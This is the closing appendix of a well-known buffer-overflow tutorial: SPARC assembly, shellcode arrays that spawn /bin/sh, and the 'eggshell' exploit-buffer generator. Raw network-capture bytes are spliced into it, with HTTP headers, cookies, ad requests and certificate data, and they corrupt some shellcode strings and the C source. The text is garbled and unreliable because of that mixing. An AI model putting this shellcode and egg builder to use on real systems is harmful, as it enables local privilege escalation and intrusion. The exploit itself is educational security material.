            sethi   0xbdcda, %l7
            and     %sp, %sp, %o0
            add     %sp, 8, %o1
            xor     %o2, %o2, %o2
            add     %sp, 16, %sp
            std     %l6, [%sp - 16]
            st      %sp, [%sp - 8]
            st      %g0, [%sp - 4]
            mov     0x3b, %g1
            ta      8
            xor     %o7, %o7, %o0
            mov     1, %g1
            ta      8
    ------------------------/گ<<RT5':{E(@
    JPzS#22PZh/RR':{RT5EDZ@#jJ
    P#=fzSPш----------------------------/<<RT5':{E(@
    JPzS#7PHZhGET /s/:':{RT5E[@J
    P#=zSPּ--------------------------
    
    SPARC/SunOS
    ------------------------------------------------------------------------------
            sethi   0xbd89a, %l6
            or      %l6, 0x16e, %l6
            sethi   0xbdcda, %l7
            and     %sp, %sp, %o0
            add     %sp, 8, %o1
            xor     %o2, %o2, %o2
            add     %sp, 16, %sp
            std     %l6, [%sp - 16]
            st      %sp, [%sp - 8]
            st      %g0, [%sp - 4]
            mov     0x3b, %g1
    	mov	-0x1, %l5
            ta      %l5 + 1
            xor     %o7, %o7, %o0
            mov     1, %g1
            ta      %l5 + 1
    ------------------------------------------------------------------------------
    
    
                     Appendix B - Generic Buffer Overflow Program
                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    shellcode.h
    ------------------------------------------------------------------------------
    #if defined(__i386__) && defined(__linux__)
    
    #define NOP_SIZE	1
    char nop[] = "\x90";
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }
    
    #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
    
    #define NOP_SIZE	4
    char nop[]="\xac\x15\xa1\x6e";
    char shellcode[] =
      "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
      "\x92\x03\xa/?RR':{RT5ED\@#hJ
    P#CzSPe0\x08\x94\x1a\x80\x0a\x9c\x0/':{RT5E]@J
    P#C*zSPw3\xa0\x10\xec\x3b\xbf\xf0"
      "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
      "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
    
    unsigned long get_sp(void) {
      __asm__("or %sp, %sp, %i0");
    }
    
    #elif defined(__sparc__) && defined(__sun__)
    
    #define NOP_SIZE        4
    char nop[]="\xac\x15\xa1\x6e";
    char shellcode[] =
      "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
      "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
      "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
      "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
    
    unsigned long get_sp(void) {
      __asm__("or %sp, %sp, %i0");
    }
    
    #endif
    ------------------------------------------------------------------------------
    
    eggshell.c
    ------------------------------------------------------------------------------
    /*
     * eggshell v1.0
     *
     * Aleph One / aleph1@underground.org
     */
    #include <stdlib.h>
    #include <stdio.h>
    #include "shellcode.h"
    
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             512
    #define DEFAULT_EGG_SIZE               2048
    
    void usage(void);
    
    void main(int argc, char *argv[]) {
      char *ptr, *bof, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
    
      while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
        switch (c) {
          ca/<<RT5':{E(@
    JPzS#=POocsp	/<<RT5':{E(	@
    JPzS#C*PHO FHEPF/@RR':{RT5ED^@#fJ
    P#HzSPHse 'a':
            align = atoi/<<RT5':{E(
    @
    JPzS#HPC/::':{RT5E,_@z+"
    P*`/`':{RT5E`@J
    P#HzSP(optarg);
            break;
          case 'b':
            bsize = atoi(optarg);
            break;
          case 'e':
            eggsize = atoi(optarg);
            break;
          case 'o':
            offset = atoi(optarg);
            break;
          case '?':
            usage();
            exit(0);
        }
    
      if (strlen(shellcode) > eggsize) {
        printf("Shellcode is larger the the egg.\n");
        exit(0);
      }
    
      if (!(bof = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
    
      addr = get_sp() - offset;
      printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
        bsize, eggsize, align);
      printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
    
      addr_ptr = (long *) bof;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      ptr = egg;
      for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
        for (n = 0; n < NOP_SIZE; n++) {
          m = (n + align) % NOP_SIZE;
          *(ptr++) = nop[m];
        }
    
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      bof[bsize - 1] = '\0';
      egg[eggsize - 1] = '\0';
    
      memcpy(egg,"EGG=",4);
      putenv(egg);
    
      memcpy(bof,"BOF=",4);
      putenv(bof);
      system("/bin/sh");
    }
    
    void usage(void) {
      (void)fprintf(stderr,
        "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n/':{RT5Ea@J
    P#N^zSP");
    }
    ------------------------------------------------------------------------------
    
    
    
    507
    [ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
    0 /2 <<RT5':{E( @ +"P*P/ <<RT5':{E( @ JPzS#SP8downl// ':{RT5Eb@8&J}2 P' PsHTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment Content-Encoding: gzip Date: Fri, 15 Mar 2013 01:00:16 GMT Server: qfe Cache-Control: private Content-Length: 1423 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Wms8_At3.Цd3L~j;F< ֯`0 ϮvW17bi"i=*؞,[Xsb;Z {pdxe ]2L^1rzF4i%mF,7cXPmʩ;=5y F'c@Rybưh<%`u!gD&a0L faNa?I.K=:Aѫ8& "*6$ 52-o&+8@Zd~B rP ЂHq"llNeЩq2}~>nUHZCArigBO&=&CY,33HōX9 x@1=dHgܶPd#:H!Fu0"@Eubk+鍽o@QUd3X@LL-t(ZXB#֫&/pVDӳPWw8(ho6CɌ2pѫi [WJ6tv7]#Dy:p]nVS*nEr'2_>n@jBvbWp+a9Fq*4UIQp3ԅ.gJOdYǟ4ԗwp MUtfq䞷ezq./䭂ߚjFFXf۩FhqL9>|^@xAo9S>FYT&wp/ tt':{RT5Efc@çx#3%RiO )tẄ́ا prx7e%S ac[L[g{oQKx몋h˴,_p~d3Gͥ߀΄kroU<; M Ҁ΂-)g-XmշAyV׷p,勧N\ GO9/]5GoO,~>ǦYQVC蕠/ <<RT5':{E(@ J}2P 'P~/r YYRT5':{EK  p57Fpagead2googlesyndicationcom/ ::':{RT5E,d@>C P +.K`/{ ':{RT5Ee@_  5pFpagead2googlesyndicationcom pagead46l doubleclicknet;J};J};J}/۱ <<RT5':{E(@3 C P.K+P:/>'>>RT5':{E0!@ J}!PMmp/*\<<RT5':{E("@ +"Pd)yPyL/1::':{RT5E,f@>J} P!,Mm`/<<RT5':{E(%@$ J}!PMm,Pi/%':{RT5Eg@;C P)X1P<HTTP/1.1 200 OK P3P: policyref="/w3c/p3p.xml", CP="NOI CUR ADM OUR NOR STA NID" Expires: Sat, 01 Jan 2000 00:00:00 GMT Pragma: no-cache Cache-Control: private, max-age=0, no-cache, no-store, must-revalidate Content-Encoding: gzip Vary: Accept-Encoding Content-type: text/html Transfer-Encoding: chunked Date: Fri, 15 Mar 2013 01:00:14 GMT Server: AdSpeed/s6 251 Sێ0j)D\Ca@J}؋ڭ 6kOn5!M}96fΙ?\_>>=\; v*?F|w.cZl r$Dqq؈ `8tXC,=xg V9 lau7Q<`S*wZT)؜PnB RRRkcUzJSmUnUh 2hYASnzKroO\}qE1͒}$\,Y:8J\D*4$2diI4J28+,myZEW*A/~$DLHlWm%@tT.۫޵#5qƞ,N;Fr.6J.hiTFXvZFQV~A.Q;Yw ȵb桋oE沗)\ta˲.Ndv>onRgլn^'+Qؽ)605hԴRzZJ>N.v_/Xܳ}vZ]C9898ƈ_,딍Ø 33L/8 0 0YRT5':{EA@ CPX1*P 0GET /ad.php?do=imp&aid=156742&zid=14678&t=1363309214&auth=fc2c621ed0940eb0c6baf6147e8b1701&wd=728&ht=90&tz=7&ck=Y&jv=N&scr=1600x779x24&ref=http%3A%2F%2Fwww.bing.com%2Fsearch%3Fq%3Dsmashing+the+stack+for+fun+and+profit%26form%3DMOZSBR%26pc%3DMOZI&uri=http%3A%2F%2Finsecure.org%2Fstf%2Fsmashstack.html HTTP/1.1 Host: g.adspeed.net User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://g.adspeed.net/ad.php?do=html&zid=14678&wd=728&ht=90&target=_top&tz=7&ck=Y&jv=N&scr=1600x779x24&z=0.4677652889206739&ref=http%3A//www.bing.com/search%3Fq%3Dsmashing+the+stack+for+fun+and+profit%26form%3DMOZSBR%26pc%3DMOZI&uri=http%3A//insecure.org/stf/smashstack.html Cookie: impuniraw=156742-1363394281 066':{RT5E(h@>C P*X5 PF0WWRT5':{EIBR   55 F googleadsg doubleclicknet0':{RT5Ei@_  5 ~F googleadsg doubleclicknet  pagead46l9+99+:9+-0K>>RT5':{E0I@u +9"PKpS0NNRT5':{E@NO  5,ֻwww googleapiscom0'':{RT5Erj@`  5^iֻwww googleapiscom = googleapislgoogle0K_0)::':{RT5E,k@W+9 P".K`0 00<<RT5':{E(R@t +9"PK.PLGET /s0OORT5':{EAYC  d5-0clients1googlecom0':{RT5E l@_h  5dT clients1googlecom  clientsl1+1+1+1+1+1+1+1+1+ 1+1+0%':{RT5E m@=C P*X5 P~)HTTP/1.1 200 OK P3P: policyref="/w3c/p3p.xml", CP="NOI CUR ADM OUR NOR STA NID" Content-Type: image/gif Content-Length: 43 Date: Fri, 15 Mar 2013 01:00:14 GMT Server: AdSpeed/s6 GIF89a!,D;0>>RT5':{E0^@9 K_#vps0cRT5':{Eo@; J}2P 'PGET /uds/css/small-logo.png HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://insecure.org/stf/smashstack.html Cookie: PREF=ID=04bb25770bda5efd:U=821b8019858dfee5:FF=0:TM=1349298717:LM=1353132395:S=hTUYuLFQmEf5G3Oi; NID=67=g42PCbJsxqC2fkr5cBOYAF6aYqCA1pkc92FpSrsFwy379ywkfhGJGxlvYfBv3Cd82ihX8KcdC_Kq96uc-acEke4PcOVSTgsHmhBBi2gSANBTuisyYGGuwUV9iyOQfNVR If-Modified-Since: Thu, 14 Mar 2013 00:42:38 GMT 0d66':{RT5E(n@=J}2 P' Pv0jRT5':{Ewt@ +9"PK.POGET /pagead/ads?client=ca-pub-0078565546631069&output=html&h=90&slotname=2743510915&w=728&lmt=1363309216&flash=0&url=http%3A%2F%2Finsecure.org%2Fstf%2Fsmashstack.html&dt=1363309217067&bpp=6&shv=r20130311&cbv=r20130206&correlator=1363309217163&frm=20&adk=2256736125&ga_vid=1414085572.1363307882&ga_sid=1363308647&ga_hid=1238161667&ga_fc=1&u_tz=-420&u_his=3&u_java=0&u_h=779&u_w=1600&u_ah=749&u_aw=1600&u_cd=24&u_nplug=3&u_nmime=11&dff=serif&dfs=16&adx=1430&ady=28179&biw=1583&bih=603&oid=3&ref=http%3A%2F%2Fwww.bing.com%2Fsearch%3Fq%3Dsmashing%2Bthe%2Bstack%2Bfor%2Bfun%2Band%2Bprofit%26form%3DMOZSBR%26pc%3DMOZI&fu=0&ifi=1&dtd=301&xpc=2Hb4GJxiZw&p=http%3A//insecure.org HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://insecure.org/stf/smashstack.html Cookie: id=22be1adf88010060||t=1353133068|et=730|cs=002213fd48f484c2b89528da3f; _drt_=NO_DATA 0k66':{RT5E(o@W+9 P".KdPCx0t::':{RT5E,p@s,K_ #/v`H0v<<RT5':{E(~@! K_#v/P0zRT5':{E@p K_#v/P_QBr8ݨcYl;ҳan<0#m$$H 985 ED32 A/  5www.googleapis.com  #3t0{66':{RT5E(q@s/K_ #/vPV0>>RT5':{E0@l +$P۟pf0>>RT5':{E0@ J}2%P㕹p0>>RT5':{E0@j +&Ppp0A::':{RT5E,r@+ P$0۟`0<<RT5':{E(@q +$P۟0Pgads0':{RT5Es@;0 #3tspdy/3spdy/2http/1.1Y UR00 "}0  *H 0F1 0 UUS10U  Google Inc1"0 UGoogle Internet Authority0 130220133713Z 130607194327Z0j1 0 UUS10U California10U Mountain View10U  Google Inc10U*.googleapis.com00  *H 02BIzEW"xӒvRPKJ ?/*5BҘ6Ӱ 82g8Xѐ+̜@wXmLjDAAQu[c0_0U%0++0Uȯ\O7.a0U#00C>gjk$0[UT0R0PNLJhttp://www.gstatic.com/GoogleInternetAuthority/GoogleInternetAuthority.crl0f+Z0X0V+0Jhttp://www.gstatic.com/GoogleInternetAuthority/GoogleInternetAuthority.crt0 U00+U$0"*.googleapis.comgoogleapis.com0  *H r "'G ~)†y85j dv[ 9 t Sgc54Pl% -=nX_!#Qxy]6E`!F\&00 gq0  *H 0N1 0 UUS10U Equifax1-0+U $Equifax Secure Certificate Authority0 090608204327Z 130607194327Z0F1 0 UUS10U  Google Inc1"0 UGoogle Internet Authority00  *H 0W>@}qcSytD3 {( lI~_4YN z0WEժs&έ2;6oQD Rs&5j۩Y+g9l%3GPyiѧWo00>@@':{RT5E2y@sK_ #/ߎvP0U088':{RT5E*z@q$K_ #/ߘvPt40U0C>gjk$0U#0Hh+ҲG# O30U00:U3010/-+)http://crl.geotrust.com/crls/secureca.crl0  *H #H|`w^끰fI )$LK^c'˟6!,`gҴqZ' ! RZ Ґ ~x\L\U)QB.:8x;P2 A\e]ŝN6ILp0F unn 8k, -s]kz*a (` LGKn]Y@A4@cj@& *@հ9 pJk0+͠DY=):0S]fxp5<t[`3 佾k#/퓩*\DC0<<RT5':{E(@ K_#v/ߘPZeinsec0H'RT5':{E@o K_#v/PBFBA_38N-2;&d(KzHɧ1KQ:Gp]v`HQ9g)é. -)hkc]v o{HOZ5G6Lk<@HޝNeT[IWh0(66':{RT5E({@s%K_ #/v-P 07':{RT5E|@+ P$0۟ PLHTTP/1.1 204 No Content Content-Length: 0 Content-Type: text/html; charset=UTF-8 Date: Fri, 15 Mar 2013 01:00:17 GMT Server: GFE/2.0 0':{RT5E}@H'gڑAhf uaϭ:Iϭdp aOYp7enu| WBI?7{$O5Q"4/o{>eh*]cuC 9G=T0kk':{RT5E]@rK_ #/v-PA0_:|^̗Qn[% H,xF*#:i³l0¯<<RT5':{E(@ K_#v-/Pɽ/0cccRT5':{EU@ K_#v-/Pɾ(*Ӥe]-s3LBӔyyl!~fSPQ:0RT5':{E@q K_#vZ/P^ +'YPV[V40rGPl9ѰBAYcO[5|qJX"Uh=sEr(vJv$Ce}^ nEBlcsjwe"$o<~VYhUx;5qA>#Tcs*3#z)d(=jZ6Zp$KD6TSsy~;{ȸ$LxHj6;%<1U+LjTՖhG°*%M6(ZUoW>`24;SHH//I*(\jhr˃jF*CGىW%h*6 '^i#JXwZ%[Qo Yh0166':{RT5E(@s K_ #/vZP066':{RT5E(@sK_ #/vP90u<<RT5':{E(@ CPX5 *P;%wwwc0lR':{RT5E@rK_ #/vPue2n_xs3s7g񞑾@f@cR,\IoDd~9|p~}Lԓ.}ZXZ@Ky2])nԘ;2^ *{\R翲0TWW':{RT5EI@rK_ #/;vP  1̦ۉI_FÀL0X<<RT5':{E(@ K_#v/\P.owwwp0':{RT5E@+9 P".KdPaHTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Fri, 15 Mar 2013 01:00:17 GMT Server: cafe Cache-Control: private Content-Length: 9460 X-XSS-Protection: 1; mode=block {iw⺲+h;ix&2h03Kg pκku$UT*j"7Ϗ /j o{yS}Qx_=2ߊ=U?!'e[cZy^y?R 6ɢ6ĸو̀w+J |^e;wo~Zf'/q9>]Ւs9&09Myz6[uNU+go E,[KS>]xANL=. R6Ybi_1B5aJd"?npg>enS@JFC aT岦x"-;ώ%?3y9G+oOP:o.x%ܼ沶QO} :W>VX;O;r>沼4x":xodxsD|P_䛛/C9nl @t w W|޻d>mӋOOH~>u7Ăy <3B,8#r_^ C3za$0':{RT5E@+9 P".KdP5ke26bT;?cSBQ9 BF21LWk7kt57Gw>pD 2e8&?p!!*ASb*yİQ q@{gzyjO#Bɰ{EѪeƏpwl#o ˜8_l&@V}X .]T^x,:pQ tnZo.4#+xټZ]D#杪aoa_5.I7SW8Ħ^{y-`a8tFCi8*2V=RDۇ!%a8jBikzY3Έe/l6+LS|Ue#޲6?v#!Z.&2y{+xIJo6mɴҍ.wUJWEW}XݭWvax\'- 2]YvukCS00Ryp-V2Y.HPz5y>%sm!}UpPTW a 'Vz555s:glƶ:xBUƱiAOGs:.X߿Y1SEopGCĨbhe'l]!fjVp V8\Ol&S\;n?nCU6]xsݚ#ik5ɶ{ sUQ)7Qjt<'36 (>żf157n{9{xϠ̝:gH P̕]zDBcT&!no=$6̆˜MΆtj1@[v[l^M眉LKNLwF\ (R@"E\m[nQP==])ز-mN>g3*`xv{8PPG4/T0M3m׵$ߞ]4e`Lf9i+&枧`p>4?_{XIq_x7IժЮT0 Ĭw#Wǂž|{.]_ $eF0ro\x6̈>!ْ_$ɩ5`_$K ߳ | Ft}~(>,_e=}֓wnق_ zAN7֝܏,ق~=d[&:qsMm@繸%7x?g:l0 <<RT5':{E(@& +9"PKd.P=sf0 ':{RT5E@+9 P".KdP4t?afc!qu7m萝,0MrOB=H|]M0iS1C-]e A^aktM[OVq֝bԒ&ZBSQ !ߌ Wf>B*UZ4Ƴ=dc}yW .^gQJw^As浉EOɦb]..BJw< ")L}CF{GF zѐܛi>g㷛W;7N:?Wi.Ż"LR. 0K&b\ T8|zC rr]~т e)P`'|б#k ÇեڗS2Q&"?O^.&yyF}Lk// K~x~~Q=n$d\xISTí8:r?'+..j6ߦuè8AT%bg̾Iq=diva3l[>?qYlu{ P&YWqZTWZ4ϩ\X$ n=d/Δ?Ia1 0Uvϖ'ql/B]t} z+ $&b8_-B|w+CIJE]] Α)9l)qK`+Ma1T/ 5`a&TTh%`IVS-\KS]N-Q+-VX#}mϜrfp߳)JEbj~xG(_Z_2&F~](aI CXӼ\Gxc{GzKP=xҡt?EWD}P2&.uhR3vG91D%71k߿q02#OLdvŌ+X~&,?-b =p22}h)l.wM'!St \tE ŨgWfǤ-ݥ>׸VW!l-}O߷ wLb7>mm\0& ':{RT5E@+9 P".KdPۍ$iAnUre!Q4G`"QrU"E9 >G:w/FһO*UUD@*zY;3T qb1Uqw9~}U|Vu7>,>[ <%w)!Υ"49WH?F;&K/FRI(Z¹E%\:wA'Ҋ+;0t{.?ֹKOb]HJ]LRݭRǔ<|!^;5|A q77:PVxS?&^$ nRfd^][3Tj$^u蔒=}tF6!ls #FÈẅ6\Լ[sK|niywjf-:o؞xۓ Tz9W_sa_s' ;t?P?ճ]!px=s./{ŇQNߑƼ*//T]úg~/RM?}}u W7_ؑ ߙv$P\l.\\2_zT=ZׯLGm 0YRV։z՞pf.=8_'3W?zo ;? BcCи<R㤫[cg$y$⡗''x}1˿B9ZE}vl5#\}J^&q)lYrYN u4 U 9-i2<غx.e|N PO{&Cf't+[-{șlp-7 Yb٥r[z<..U9UV _ɢ GKٟ}:ZӟPMG&!v0 ':{RT5E@+9 P".*KdPB:EwO04JZ-䟞Q=RYjyeϸ' NE s'?sy_?U/:ʹ_2&f%md?* 9=.2>KhDs1zTIS4m}-|uЕ5gvGSԞo5 Wq_D+c1BLw_Il։7k^O(!ÑpZHNC+7$|_z7ȴ`&VM+)=6ehCjk(#-H`51 4cF̊*מN3Sc+":5-O{jJaE}"mu98m[HtiIʜ+6H8A|q[hZY9V,s_q0uξ WIX.!5js0-}z&@{،&ʾ?*N-Gǂ5EڅZZvu4FCFg=:5`"\*p:&̡ec@l֊:|m6܁;P<U N<֥7Vtjᳮ^>Hu#rp8b7\aD &zT&ǛMeK!XY.kj1vn4OLW]+qLY}9А]C<,/a:;LTiGϖXڭl?SMGa6V6̈́QH-u`mѪ h臐(R*ښ7=;cLksظӆqQfTEVbk#QoæVQGFCz%μӬ>0m[Wn> 9an41Be)̀k(0 <<RT5':{E(@% +9"PKd.*P2_ evint0 ':{RT5E@+9 P".KdP TGLH'陽o&ҫOhj]BM9nvju 2 Wf dgNK1d??JЃzjʎKNDJ{46m@K=ltChGՀe&bX{9t!ķma6X31SۜFexFUfD@'@uXdREkVv ׈4nWrj=+cK!f(]٬}ƗD gnGHrSn &k1+eZ"v&'NEo(͢6E(\ձ%U=sl7v[_4 1W^;p딤ukkq'h}W̮آ1GčEn,EZ3+E"[wRCo:f)2KԬ^4uf~b`Uzۮ> d Gn (ޑQVc~Wi`ݛmM3;&⇐[3zTd="+ۖ^dqPn{햹{HIF:HC!۬G4˗NPF; DvdWGzr{K논}G) @~;vkCl^(Vi>ڑ{k}|3ꗉޠsz{Xu73m;*4Ζ(c& UؒݡX3)ff֖VXӵ"47`Zp.Kh{f-/6Z:ѣ~Uۄ`hi$(UGb3$:@ {P:x [n4+4hUˍ%R iɘ*5\+cژNJSFՊB*B{o-➭ {]$⨿':':_%]4ez|Nh7}w5ٖG! 9\֤aG^ mXnr%egVR`_%MD&svFLm: yډv@*Ų;4-YW;դ{U>JhǓۢƓYA&DCz3z$hjlͬsf:Upd V]0OT(.փ VT44F֋9؃hZReӋh.)]aPOl Gn8ddyS0 ':{RT5Ey@+9 P"/@KdP @QWQ g6Ԙn;`yr֠Ɓ`YYRjx6"v#aΚMj CVc*PvY,!.c yVD)fFŶ46y1s%ovv%:8:h8ڢlg u~yr!R(Uyw<:]an&T+`̪aިȖoR(#oCo1dulJRnng-6gQy!|ߝ+ OoށF(WU4:a<ьvÖX/2+R.2Ț&l9 ˦얔֚j;rL4_CxIF~TnIYiwlTG;#fnhނq9ͷ-{О`L%W0DrnC^T`ʳj#gC v^m1w㕹  p=;P;7v&kRAakݠ̭֣*`EbLV@yd]Mf 6 ƚQ,Jw2(RGv9vh}\L"C?Пt2Zu)QZED(pL D4 :Xe`4+%NHU8Le;n-Zo=-t,ZBZj/Rɦab3 Fp2;l)/8geG6c6xqr;LFXtNU5|u譍 w* ͩ; 5O Nbr[7N]Shb}foL#2KfĂT2-ibv("F3(氁ݡ˭RGx1Y7Vm2Ғzշ |K0# <<RT5':{E(@$ +9"PKd/@P'I0'& <<RT5':{E(@n J}2P '*Py" adver0& <<RT5':{E(@S +$P۟ 0ԎPd onlin0V <<RT5':{E(@r 2c PP0FW 66':{RT5E(@2c P  P0 66':{RT5E(@2c P  P0] <<RT5':{E(@p 2c P Pfeedb0q <<RT5':{E(@ +9"PKd/P'I evsec0) HHRT5':{E:  F5&ـgseclistsorg0I1 HHRT5':{E:  5&kNsectoolsorg0c XX':{RT5EJ@`  5F6gseclistsorg NJ0d XX':{RT5EJ@`  56sectoolsorg NJ0 TTRT5':{EF  ۼ52Ewwwgoogleadservicescom0 DDRT5':{E6  5"5)nmaporg0 KKRT5':{E=  5)7wwwgstaticcom0 LLRT5':{E>  B5*QԸ3wwwacunetixcom0T ':{RT5E@_  5ۼ: wwwgoogleadservicescom pageadl doubleclicknet6J}6J}6J}0 [[':{RT5EM@`  59Nwwwgstaticcom _J}0 >>RT5':{E0@ J}'Ps8;pi0A ::':{RT5E,@>J} P'4s8;`0E <<RT5':{E(@ J}'Ps8;4P 0!\\':{RT5EN@_  5B:l3wwwacunetixcom W? 1?TT':{RT5EF@`  52Z)nmaporg QJ1 e <<RT5':{E(@ 0HPٜ)pP 1e 66':{RT5E(@t0H Ppٜ*P19L 66':{RT5E(@t0H Ppٜ*P1T <<RT5':{E(@ 0HPٜ*pP2\<<RT5':{E(@6 J}2%P㕹2P2<<RT5':{E(@ +$P۟ 0ԎPd 2<<RT5':{E(@j CPX5 *P;$GET /c2_<<RT5':{E(@ +9"PKd/P'HGET /_2<<RT5':{E(@j J}!PMm,PhGET /a2<<RT5':{E(@1 J}2P '*Py!266':{RT5E(@=|J}2 P%2㕹P 266':{RT5E(@`+ P$0Ԏ۟ P266':{RT5E(@>C P*X5 P`266':{RT5E(@-+9 P"/KeP2U66':{RT5E(@>J} P!,MmPY266':{RT5E(@=wJ}2 P'* Pr2)!<<RT5':{E(@ +"P*P2b!<<RT5':{E(@ +"Pd)yPyK2!<<RT5':{E(@d C P.K+P:GET /s2!66':{RT5E(@A+" P*P2"66':{RT5E(@@+" P)yeP~2V"66':{RT5E(@>C P +.LP527'QQRT5':{EC@ K_#v/\P.uS!4L!m!G2s'<<RT5':{E(@ K_#v/\P.S FHEPF2'<<RT5':{E(@ JP͘`( Pc2'<<RT5':{E(@ JPm&P2 (<<RT5':{E(@ JP%PNJdownl2:(<<RT5':{E(@ JP=_$"P2k(<<RT5':{E(@ JPzS#SP8pagea2(66':{RT5E(@sK_ #/\vP2)66':{RT5E(@sK_ #/\v P2})66':{RT5E(@#?J P( ͘aPT2)66':{RT5E(@#>J P&mP2*66':{RT5E(@#=J P%P{2f*66':{RT5E(@#J} P'4s8;P2966':{RT5E(@O9 <_RP2966':{RT5E(@O9 <_RP2A:66':{RT5E(@g E =cmP2:66':{RT5E(@f E =cnP2:66':{RT5E(@|2c P PP2;66':{RT5E(@{2c P H]/vPI2<<<RT5':{E(@ 2 P!PGET /p2=<<RT5':{E(@ +&Pp1P2_=66':{RT5E(@,2 P ҿ!P2=66':{RT5E(@D+ P&1pPs2ِ66':{RT5E(@+9 P"/KeP2<<RT5':{E(@ +9"PKe/P'G2D66':{RT5E(@B+ P$0Ԏ۟ P2b<<RT5':{E(@ +$P۟ 0ԏPd266':{RT5E(@=\J}2 P'* Pr2X66':{RT5E(@=[J}2 P%2㕹P 2Y<<RT5':{E(@ J}2P '+Py 2<<RT5':{E(@ J}2%P㕹2P2[66':{RT5E(@>J} P'4s8;P266':{RT5E(@>+ P&1pPr2 66':{RT5E(@>J} P!,MmPX2e66':{RT5E(@"+" P*P266':{RT5E(@!+" P)yeP~266':{RT5E(@i;H Pa2Z=P72566':{RT5E(@W2z P~VUPx2t[[':{RT5EM@O9 <_RP1 (c\G.@џnijX 266':{RT5E(@O9 a_RPu2vv':{RT5Eh@ E =cnP8 e2Y-N m>&tj̓:5՗.!Bsc9!82266':{RT5E(@S E }cnP2p66':{RT5E(@i2c P PP266':{RT5E(@h2c P H]/vPH266':{RT5E(@2 P ҿ!P2<<RT5':{E(@Q J}'Ps8;4P gads2<<RT5':{E(@ +&Pp1PGET /g2<<RT5':{E(@D J}!PMm,PgGET /u2%<<RT5':{E(@ +"P*Pwwwg2W<<RT5':{E(@ +"Pe)zPyJa4bi2<<RT5':{E(@i ;HPZ=a3P@Minsec2@<<RT5':{E( @ 2zPVUPF2<<RT5':{E( @Θ 9_RaPr2<<RT5':{E( @  Ecn}P(*2<<RT5':{E( @ 2c PPV+23<<RT5':{E( @ 2c P]/vHPUwwwc2v<<RT5':{E(@ 2 P!Pwwwp266':{RT5E(@rڭK_ #/\v P2<<RT5':{E(@ K_#v /]P.Rf2-66':{RT5E(@t0H PZƏP|2.66':{RT5E(@t0H P~ygQP21<<RT5':{E(@a 0HPZPƃ evint2?1<<RT5':{E(@` 0HPgQ~zPER3P66':{RT5E(@>C P*X5 P_3`S<<RT5':{E(@5 CPX5 *P;# adver3v^':{RT5E@=C P +.LPoHTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html

    400 Bad request

